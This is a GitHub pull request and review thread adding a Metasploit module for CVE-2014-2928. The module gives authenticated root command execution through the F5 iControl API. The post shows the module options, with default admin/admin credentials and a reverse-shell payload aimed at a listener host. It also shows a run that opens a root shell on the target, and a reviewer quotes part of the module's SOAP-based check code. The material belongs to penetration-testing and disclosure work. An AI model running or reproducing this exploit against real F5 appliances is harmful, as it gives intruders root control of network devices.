Create f5_icontrol_exec.rb

This module will exploit CVE-2014-2928, an authenticated command execution as root vulnerability in the iControl API on F5 appliances. This module was demoed in my Derbycon talk. A second module is PR'ed along side this to brute force credentials in the iControl API.

http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html

Any user with access to the API can become the root user on the box.

```
msf exploit(f5_icontrol_exec) > show options

Module options (exploit/linux/http/f5_icontrol_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       The password to authenticate with
   Proxies                     no        Use a proxy chain
   RHOST      192.168.209.4    yes       The target address
   RPORT      443              yes       The target port
   SSL        true             yes       Use SSL
   TARGETURI  /                yes       The base path to the iControl installation
   USERNAME   admin            yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.209.3    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   F5 iControl


msf exploit(f5_icontrol_exec) > exploit

[*] Sending payload in chunks, might take a small bit...
[*] Started reverse double handler
[*] Triggering payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo MItQndpb3hjQKkBL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "MItQndpb3hjQKkBL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 3 opened (192.168.209.3:4444 -> 192.168.209.4:60494) at 2014-09-27 08:45:50 -0700

id
uid=0(root) gid=0(root) context=system_u:system_r:f5util_t

```

F5 has known about this since February of this year, and it still isn't patched it seems. You can download a BIGIP appliance trial from F5's website.


Good to know!

Sent from a computer

> On Sep 27, 2014, at 2:34 PM, sinn3r <notifications@github.com> wrote:
> 
> In modules/exploits/linux/http/f5_icontrol_exec.rb:
> 
> > +  def check
> > +    basic_auth = Rex::Text.encode_base64(datastore['USERNAME']+':'+datastore['PASSWORD'])
> > +
> > +    get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
> > +    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
> > +    <SOAP-ENV:Body>
> > +    <n1:get_hostname xmlns:n1="urn:iControl:System/Inet" />
> > +    </SOAP-ENV:Body>
> > +    </SOAP-ENV:Envelope>
> > +    }
> > +
> > +    res = send_request_cgi({
> > +      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
> > +      'method' => 'POST',
> > +      'headers' => {
> > +        'Authorization' => 'Basic ' + basic_auth
> You shouldn't have to do this anymore because it's done automatically?
> https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client.rb#L214
> 
> —
> Reply to this email directly or view it on GitHub.